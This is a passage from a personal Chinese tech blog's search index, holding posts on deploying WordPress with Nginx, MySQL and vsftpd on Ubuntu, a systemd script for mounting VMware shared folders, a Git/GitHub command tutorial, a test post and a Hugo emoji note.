用于创建网站、博客，甚至一些 Web 应用程序。它已成为一种流行且功能强大的内容管理系统 （CMS）\nFTP（文件传输协议 英语：File Transfer Protocol，缩写FTP）是在计算机网络的客户端和服务器间传输文件的应用层协议网络传输协议)。在这里用来解决wordpress文件上传的问题,同时将功能模块化\n环境 Ubuntu22.04LTS\n其他发行版的配置与本文基本只存在安装软件包的区别\n更新系统包 sudo apt update sudo apt upgrade 一般来说，在执行第一行命令时，系统会自己拉取最优的镜像源\n🔗如果更新速度很慢说明拉取不正确，请参考linux换源 手动更换\n安装Nginx sudo apt install nginx sudo systemctl status nginx #检查nginx状态,若处于active状态,则安装成功 sudo systemctl start nginx #启动nginx服务器 sudo systemctl enable nginx #nginx开机自启动 curl http://localhost #返回页面信息 安装MySql sudo apt install -y mysql-server #-y参数意思是安装时全选yes sudo systemctl status mysql #sudo mysql_secure_installation) #此项非必选,可跳过(在mysql_secure_installation过程中，会提示进行一些安全设置，如设置MySQL root密码、删除匿名用户、禁止root远程登录等。根据提示完成配置) 创建WordPress数据库和用户 #进入mysql命令行 进入后显示 mysql\u0026gt; sudo mysql -u root -p 在MySql命令行中执行以下SQL命令\n# 创建一个名为\u0026lt;xxx\u0026gt;的数据库 CREATE DATABASE \u0026lt;数据库名\u0026gt;; # 创建一个名为\u0026lt;xxx\u0026gt;的用户,localhost指定该用户只能从本地主机进行连接 CREATE USER \u0026lt;用户名\u0026gt;@localhost IDENTIFIED BY \u0026lt;密码\u0026gt;; # 给予\u0026lt;xxx\u0026gt;用户操作指定数据库下所有数据的权限 GRANT ALL PRIVILEGES ON \u0026lt;数据库名\u0026gt;.* TO \u0026lt;用户名\u0026gt;@localhost; # 退出sql操作 EXIT; 在安装PHP前,先对MySql进行测试 #提示输入密码,验证通过进入mysql命令行,说明配置成功 mysql -u \u0026lt;用户名\u0026gt; -p \u0026lt;数据库名\u0026gt; #如果不成功,显示ERROR 1045(28000),一般是密码设置出了问题,可重新键入 mysql -u \u0026lt;用户名\u0026gt; -p \u0026lt;数据库名\u0026gt; 或 SET PASSWORD for \u0026lt;用户名\u0026gt;@localhost 安装PHP sudo apt install -y php-fpm php-mysql php-curl php-mbstring php-imagick php-xml php-zip WordPress 需要多个 PHP 模块才能正常运行 MySQL 用于连接到MySQL数据库。 cURL 用于发出远程请求的 cURL。 Mbstring 处理多字节字符串。 ImageMagick 执行图像大小调整等操作。 XML 提供 XML 支持。 Zip 以解压缩插件、主题和 WordPress 更新包。 获取php-fpm服务器版本号(重要)\nls /var/run/php # 获取php\u0026lt;版本号\u0026gt;-fpm.sock的版本号 sudo systemctl status php\u0026lt;版本号\u0026gt;-fpm.service # 检查fpm服务器运行状态 下载并配置WordPress #进入Nginx默认的web目录 cd /var/www/html #下载wordpress的最新版本 sudo wget https://wordpress.org/latest.tar.gz #解压下载的压缩包 sudo tar -xzvf latest.tar.gz #将解压后的文件移动到当前目录 sudo mv wordpress/* . #删除wordpress文件夹和压缩包 sudo rm -rf wordpress latest.tar.gz (这里没有建立多个网站的需求,所以直接将压缩包内容放到了/var/www/html目录下)\n#配置WordPress文件权限 sudo chown -R www-data:www-data /var/www/html sudo chmod -R 755 /var/www/html 命令说明 这里的chown改变了文件或目录的所有者和所属组;\n-R为递归处理参数,对目录及目录内的所有子目录和文件的所有者进行变更;\nwww-data:www-data 意思是将文件权限给予www-data用户并将它们加入到www-data用户组。前者确保只有web服务器进程可以修改这些文件,提高安全性;后者保证web服务器能够正常访问和处理这些文件。\n第二条命令涉及文件的读写和执行权限问题,之后会有单独的博客文章进行解释\n配置Nginx #创建一个新的Nginx服务器块配置文件 sudo vim /etc/nginx/sites-available/wordpress #在文件中添加如下内容 server { listen 80; server_name \u0026lt;替换为自己的域名或ip\u0026gt;; root /var/www/html; index index.php index.html index.htm index.nginx-debian.html; location / { try_files $uri $uri/ /index.php?$args; } location ~ \\.php$ { include snippets/fastcgi-php.conf; fastcgi_pass unix:/var/run/php/php\u0026lt;版本号\u0026gt;-fpm.sock; } location ~ /\\.ht { deny all; } } #激活配置文件并禁用默认的配置文件 sudo ln -s /etc/nginx/sites-available/wordpress /etc/nginx/sites-enabled/ sudo unlink /etc/nginx/sites-enabled/default 解释 Nginx 通常使用以下目录结构来管理站点配置：\n/etc/nginx/sites-available/：这个目录包含所有可用的站点配置文件。这里的文件不一定被 Nginx 激活。 /etc/nginx/sites-enabled/：这个目录包含所有已启用的站点配置文件。Nginx 只会加载这个目录中的配置文件。 通过将 sites-available 目录中的配置文件链接到 sites-enabled 目录，可以方便地启用或禁用站点，而无需复制文件。 通过删除符号链接禁用默认配置文件\nunlink：是一个用于删除文件或符号链接的命令。与 rm 命令不同，unlink 只能删除单个文件或符号链接。 /etc/nginx/sites-enabled/default：需要删除的文件或符号链接的路径。 #测试Nginx配置是否正确 sudo nginx -t #返回successful说明配置正确 #重启Nginx sudo systemctl reload nginx 完成WordPress安装 打开浏览器,访问设置的域名或ip地址,进入wordpress配置面板后按提示完成安装\n(这里建议修改wp数据库的默认前缀wp_)\nwordpress上传文件出现413错误 WordPress上传文件出现413错误是由于上传文件大小超过了服务器的限制,可以通过如下两种方法解决:\n方法一：放宽上传文件大小限制 #修改Nginx配置文件 sudo vim /etc/nginx/nginx.conf #在http块中添加或修改以下行 http { client_max_body_size 100M; } #保存并关闭文件后重启Nginx #修改PHP配置文件 sudo vim /etc/php/\u0026lt;版本号\u0026gt;/fpm/php.ini #找到并修改以下行 upload_max_filesize = 100M post_max_size = 100M #保存并关闭文件后,重启PHP-FPM sudo systemctl restart php\u0026lt;版本号\u0026gt;-fpm 方法二：搭建FTP服务器 #安装vsftpd sudo apt update sudo apt install vsftpd #配置vsftpd #编辑vsftpd配置文件 sudo vim /etc/vsftpd.conf #去掉以下语句的注释: local_enable=YES write_enable=YES #添加以下语句或去掉它们的注释: chroot_local_user=YES allow_writeable_chroot=YES #在末尾添加如下语句: pasv_min_port=10000 pasv_max_port=10100 pasv_address=\u0026lt;服务器ip\u0026gt; #保存并关闭文件,重启vsftpd sudo systemctl restart vsftpd sudo systemctl enable vsftpd #创建FTP用户,会提示设置密码,输入即可 sudo adduser \u0026lt;用户名\u0026gt; #为该用户设置web目录的访问权限,为了让上传文件夹更好管理,建议创建一个FTP目录 sudo mkdir /var/www/html/\u0026lt;FTP文件夹名\u0026gt; sudo chown -R \u0026lt;用户名\u0026gt;:\u0026lt;用户名\u0026gt; /var/www/html/\u0026lt;FTP文件夹名\u0026gt; 使用FTP客户端(FileZilla或WinSCP),填入刚创建的FTP用户信息进行连接。\n连接之后可以将文件上传至/var/www/html/\u0026lt;FTP文件夹名\u0026gt;目录,然后使用ssh进行文件管理\n","date":"2025-01-22T11:39:47+08:00","image":"https://www.fufu.me/img/wordpress-logo.png","permalink":"https://www.fufu.me/wordpresserver/","title":"如何在Ubuntu上部署WordPress"},{"content":"使用场景 在我们使用Vmware的linux虚拟机时，通常需要在宿主机和虚拟机间传输一些文件，这时候用共享文件夹就很不错。但是在设置好后却发现这个文件夹不能自动挂载，一旦关机就消失了。\n这里提供一个我自己写的挂载脚本\n#!/bin/bash # 定义 knmpn-share.service 文件内容 SERVICE_CONTENT=$(cat \u0026lt;\u0026lt;EOF [Unit] Description=knmpn-share Compatibility Documentation=man:systemd-rc-local-generator(8) ConditionFileIsExecutable=/etc/knmpn-share After=network.target [Service] Type=forking ExecStart=/etc/knmpn-share start TimeoutSec=0 RemainAfterExit=yes GuessMainPID=no [Install] WantedBy=multi-user.target Alias=knmpn-share.service EOF ) SHARE_SCRIPT_CONTENT=$(cat \u0026lt;\u0026lt;EOF #! /bin/bash # 确保挂载点存在 /bin/mkdir -p /mnt/hgfs # 执行挂载 /bin/mount -t fuse.vmhgfs-fuse .host:/ /mnt/hgfs -o allow_other EOF ) # 创建并写入 knmpn-share.service 文件 echo \u0026quot;$SERVICE_CONTENT\u0026quot; | sudo tee /lib/systemd/system/knmpn-share.service /etc/systemd/system/knmpn-share.service \u0026gt; /dev/null # 创建并写入 knmpn-share 脚本文件 echo \u0026quot;$SHARE_SCRIPT_CONTENT\u0026quot; | sudo tee /etc/knmpn-share \u0026gt; /dev/null # 确保 /etc/knmpn-share 可执行 sudo chmod +x /etc/knmpn-share # 启用并启动 knmpn-share 服务 sudo systemctl enable knmpn-share sudo systemctl start knmpn-share.service sudo systemctl status knmpn-share.service # 重启系统以应用更改 sudo reboot 使用方法 1.创建一个share.sh文件，将代码保存到其中并运行。\n2.当不再显示新内容时按q键，会重启一次\n3.共享文件夹在/mnt/hgfs目录下\n文件下载地址：📄share.sh ","date":"2025-01-22T11:02:41+08:00","image":"https://www.fufu.me/img/VMware.png","permalink":"https://www.fufu.me/vmpersismount/","title":"Vmware虚拟机持久挂载共享文件夹"},{"content":" Tip \u0026lt;\u0026gt;中包的信息都需要替换成自己的，不要直接CV\n下以origin来表示最先创建的本地库别名，main为主分支，dev为第二分支\n使用前的准备 你需要一个github账号(自己去注册)\n🔗然后在系统中安装git工具，网址:https://git-scm.com/ 🔗看不懂英文或者找不到安装包在哪里的可以用本站自建网盘:https://cloud.nicht.top/s/e6Un 创建并链接远程仓库 初始化本地仓库 安装好git后在你的本地仓库文件夹右键，点击Open Git Bash here，然后执行以下命令\ngit init 在本目录下会增加一个.git的隐藏文件夹,存放了git仓库的相关信息\n配置用户名和密码 git config --global user.name \u0026lt;用户名\u0026gt; git config --global user.email \u0026lt;邮箱\u0026gt; 生成SSH Key密钥 ssh-keygen -t rsa -C \u0026lt;邮箱\u0026gt; 连按三次回车,直到出现SHA-256图像为止\n密钥存放在C:\\user\\user.name.ssh(linux在~下的.ssh中)文件夹下\ncat C:/Users/\u0026lt;windows系统用户名\u0026gt;/.ssh/id_rsa.pub cat ~/.ssh/id_rsa.pub 如果你不知道用户名的话Ctrl+R呼出运行，在窗口中键入cmd回车，然后输入whoami命令\n复制所有内容(从ssh-rsa开始到邮箱结尾，图中隐去了我的密钥)\n配置github密钥 打开github 依次点击:右上角头像 - settings - SSH and GPG keys - New SSH key\nTitle是备注，自己取名\nKey:将复制的密钥填入,然后点击Add SSH key\n创建github仓库 设定仓库名字和属性(public or private)\n复制远程仓库的ssh地址 本地仓库链接远程仓库 git remote add \u0026lt;仓库别名(本地)\u0026gt; \u0026lt;仓库的ssh地址\u0026gt; git remote add origin \u0026lt;仓库的ssh地址\u0026gt; git remote #查看仓库别名 git remote -v #查看本地所有仓库 测试链接是否成功 ssh -T git@github.com 出现hi+用户名什么的说明链接成功(后面的but GitHub does not provide shell access.意思是github不允许shell交互,不是报错)\n提交本地仓库中的代码到远程仓库 git add . #提交本地所有文件 git commit -m '备注' #添加提交备注 git push -u \u0026lt;仓库别名\u0026gt; \u0026lt;分支名\u0026gt; #首次提交需要加上后面的参数 git push -u origin main #一般首次提交到main分支 注意 SSH Key每台设备有一份就足够了,可以同时操控多个远程仓库\n一些常用命令 分支 git branch #获取本地所有分支 git branch -a #查看所有分支,包括远程分支 git branch -vv #查看本地分支和它们各自上游分支间的跟踪关系 git branch dev #创建新分支 git checkout dev #切换分支 git switch dev #切换分支的另一个命令 git remote remove origin #删除指定名字的远程仓库 # 修改分支名称(如果不指定原分支名称则为当前所在分支) git branch -m main main1 # 强制修改分支名称 git branch -M main main1 # 删除指定的本地分支 git branch -d main # 强制删除指定的本地分支 git branch -D main # 远程仓库名修改，本地需要先删除，重新添加 # 查看本地所有仓库 git remote -v # 删除本地仓库 git remote rm origin # 重新添加 git remote add origin \u0026lt;远程仓库链接\u0026gt; git pull git pull 命令用于从远程获取代码并合并本地的版本。 git pull 其实就是 git fetch(拉取) 和 git merge(合并) 的简写。 命令格式如下：\ngit pull \u0026lt;远程主机名\u0026gt; \u0026lt;远程分支名\u0026gt;:\u0026lt;本地分支名\u0026gt; 示例操作: # 基本的更新 $ git pull $ git pull origin # 将远程主机 origin 的 dev 分支拉取过来，与本地的 main 分支合并。 git pull origin dev:main # 如果远程分支是与当前分支合并，则冒号后面的部分可以省略。 git pull origin dev 分支管理(不使用pull命令进行简易合并) [关于fetch,本质是远程仓库与本地仓库的文件进行比较,然后用merge命令合并,其本身并没有下载功能]\n新建分支(本地创建后上传到远程仓库) # 从已有的分支创建新的分支(如从main分支), 创建一个dev分支，并切换到dev分支 git checkout -b dev # 创建完可以查看一下,分支已经切换到dev （会列出所有分支，当前分支的面会有一个*号） git branch # 提交dev分支到远程仓库 git push origin dev 拉取分支(本地创建远程仓库的分支) # 把远程分支拉到本地 git fetch origin dev # 在本地创建分支dev并切换到该分支 git checkout -b dev # 把某个分支上的内容都拉取到本地 git pull origin dev 提交分支(提交到第二分支) # 首先切换到dev分支上,进行提交推送 git checkout dev # 推送到dev分支上 git add . git commit -m ‘dev' git push -u origin dev 合并分支 # 首先切换到main分支上 git checkout main # 如果是多人开发的话 需要把远程main上的代码pull下来 git pull origin main # 把dev分支的代码合并到master上 git merge dev # push到远程main上 git push origin main 删除分支 # 删除本地分支 git branch -d dev # 删除远程分支 git push \u0026lt;库别名\u0026gt; -d \u0026lt;远程分支\u0026gt; 分支改名 假设分支名称为old,想要修改为new\n# 本地分支重命名(还没有推送到远程) git branch -m old new # 远程分支重命名 (已经推送远程-假设本地分支和远程对应分支名称相同) # a. 重命名远程分支对应的本地分支 git branch -m old new # b. 删除远程分支 git push --delete origin old # c.上传新命名的本地分支 git push origin new # d.把修改后的本地分支与远程分支关联 git branch --set-upstream-to origin/new # c和d可以用一句来解决 git push -u origin new # 若已经关联了远程分支,需要先解除关联 git branch --unset-upstream 标签与版本管理 标签相关命令 git tag \u0026lt;标签名\u0026gt; #打标签 git tag #查看所有标签 git tag -a \u0026lt;标签名\u0026gt; -m \u0026quot;标签信息\u0026quot; #打指定标签信息 git checkout \u0026lt;标签名\u0026gt; #切换到指定标签 git show \u0026lt;标签名\u0026gt; #查看标签文字说明 推送与删除 git push origin \u0026lt;标签名\u0026gt; #推送标签 git push origin --tags #一次性推送全部未到达远程的标签名 git tag -d \u0026lt;标签名\u0026gt; #本地删除 git push origin :refs/tags/\u0026lt;标签名\u0026gt; #远程删除某个 :refs/tags/ 的语法表示删除远程仓库中的所有标签。 在 Git 中，refs 是引用（references）的简称。它们是指向特定提交对象的指针。常见的 refs 包括分支（branches）、标签（tags）和远程引用（remote references）。\n版本回退 # 查看提交的序号，也可以直接在服务器看文件 git log # 记得先提交保存 git reset --hard xxx # 此时如果用 “git push” 会报错，因为我们本地库HEAD指向的版本比远程库的要旧： git push -f #强推 git reset [--soft | --mixed | --hard] [HEAD] --mixed 为默认，可以不用带该参数，用于重置暂存区的文件与上一次的提交(commit)保持一致，工作区文件内容保持不变。 --soft 参数用于回退到某个版本 --hard 参数撤销工作区中所有未提交的修改内容，将暂存区与工作区都回到上一次版本，并删除之前的所有信息提交 git reset命令用于重置当前分支的HEAD到指定的状态，并且可以选择性地重置工作目录和暂存区的内容。它有三个主要选项：\u0026ndash;soft、\u0026ndash;mixed 和 \u0026ndash;hard。\n用法示例：\n\u0026ndash;soft（温和）： 仅重置HEAD指针到指定的提交，不改变暂存区和工作目录。 例如，将HEAD指针重置到上一个提交： git reset \u0026ndash;soft HEAD~1 \u0026ndash;mixed（默认选项）： 重置HEAD指针到指定的提交，并重置暂存区的内容，但不改变工作目录。 例如，将HEAD指针和暂存区重置到上一个提交： git reset \u0026ndash;mixed HEAD~1 \u0026ndash;hard（彻底）： 重置HEAD指针到指定的提交，并重置暂存区和工作目录的内容。 例如，将HEAD指针、暂存区和工作目录重置到上一个提交： git reset \u0026ndash;hard HEAD~1 参数说明：\nHEAD：当前分支的最新提交。 HEAD~1：当前分支的上一个提交。 [commit]：可以是任意提交的SHA-1哈希值或引用。 示例说明： 假设当前分支有三个提交，分别是 A、B 和 C，当前HEAD指向 C。 (1). 使用 git reset \u0026ndash;soft HEAD1 后，HEAD指针将指向 B，但 C 的更改仍保留在暂存区。 (2). 使用 git reset \u0026ndash;mixed HEAD1 后，HEAD指针将指向 B，C 的更改从暂存区移除，但仍保留在工作目录。 (3). 使用 git reset \u0026ndash;hard HEAD~1 后，HEAD指针将指向 B，C 的更改从暂存区和工作目录中移除。 ","date":"2025-01-22T09:47:16+08:00","image":"https://www.fufu.me/img/Logo-GitHub-Black.png","permalink":"https://www.fufu.me/githubuse/","title":"最简单的github使用教程"},{"content":"正文测试 测试\n引用 もっともっとたくさんの歌を！\nもっともっとたくさんの元気を！\nもっともっとたくさんの希望を！\nもっともっとも～っとたくさんの人達に届けられるように！\nMOREMORE将更加更加多的歌声！\n将更加更加多的鼓励！\n将更加更加多的希望！\n传达到更加更加更~加多的人们那里！\nMOREMORE～JUMP！～\nJUMP！\nモア！ジャンプ！モア！ ももいろの鍵 图片 ![Photo by Florian Klauer on Unsplash](florian-klauer-nptLmg6jqDo-unsplash.jpg) ![Photo by Luca Bravo on Unsplash](luca-bravo-alS7ewQ41M8-unsplash.jpg) ![Photo by Helena Hertz on Unsplash](helena-hertz-wWZzXlDpMog-unsplash.jpg) ![Photo by Hudai Gayiran on Unsplash](hudai-gayiran-3Od_VKcDEAA-unsplash.jpg) 相册语法来自 Typlog ","date":"2020-09-09T00:00:00Z","image":"https://www.fufu.me/img/helena-hertz-wWZzXlDpMog-unsplash.jpg","permalink":"https://www.fufu.me/test/","title":"Test"},{"content":"可以通过多种方式在 Hugo 项目中启用表情符号。\n该emojify 函数可以在模板或内联短代码 中直接调用。\n要全局启用表情符号，请在网站配置 enableEmoji中设置为true，然后您可以在内容文件中直接输入表情符号简写代码；例如：\n🙈 :see_no_evil: 🙉 :hear_no_evil: 🙊 :speak_no_evil:\nEmoji 备忘单 是表情符号简写代码的有用参考。\n注意：上述步骤在 Hugo 中启用了 Unicode 标准表情符号和序列，但这些字形的渲染取决于浏览器和平台。要设置表情符号的样式，您可以使用第三方表情符号字体或字体堆栈；例如\n.emoji { font-family: Apple Color Emoji, Segoe UI Emoji, NotoColorEmoji, Segoe UI Symbol, Android Emoji, EmojiSymbols; } ","date":"2019-03-05T00:00:00Z","image":"https://www.fufu.me/img/the-creative-exchange-d2zvqp3fpro-unsplash.jpg","permalink":"https://www.fufu.me/%E8%A1%A8%E6%83%85%E7%AC%A6%E5%8F%B7%E6%94%AF%E6%8C%81/","title":"表情符号支持"}]